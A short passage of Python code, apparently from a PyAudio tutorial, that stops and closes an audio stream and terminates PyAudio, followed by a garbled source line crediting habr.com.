# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
āĻāĻ¤ā§āĻ¸: www.habr.com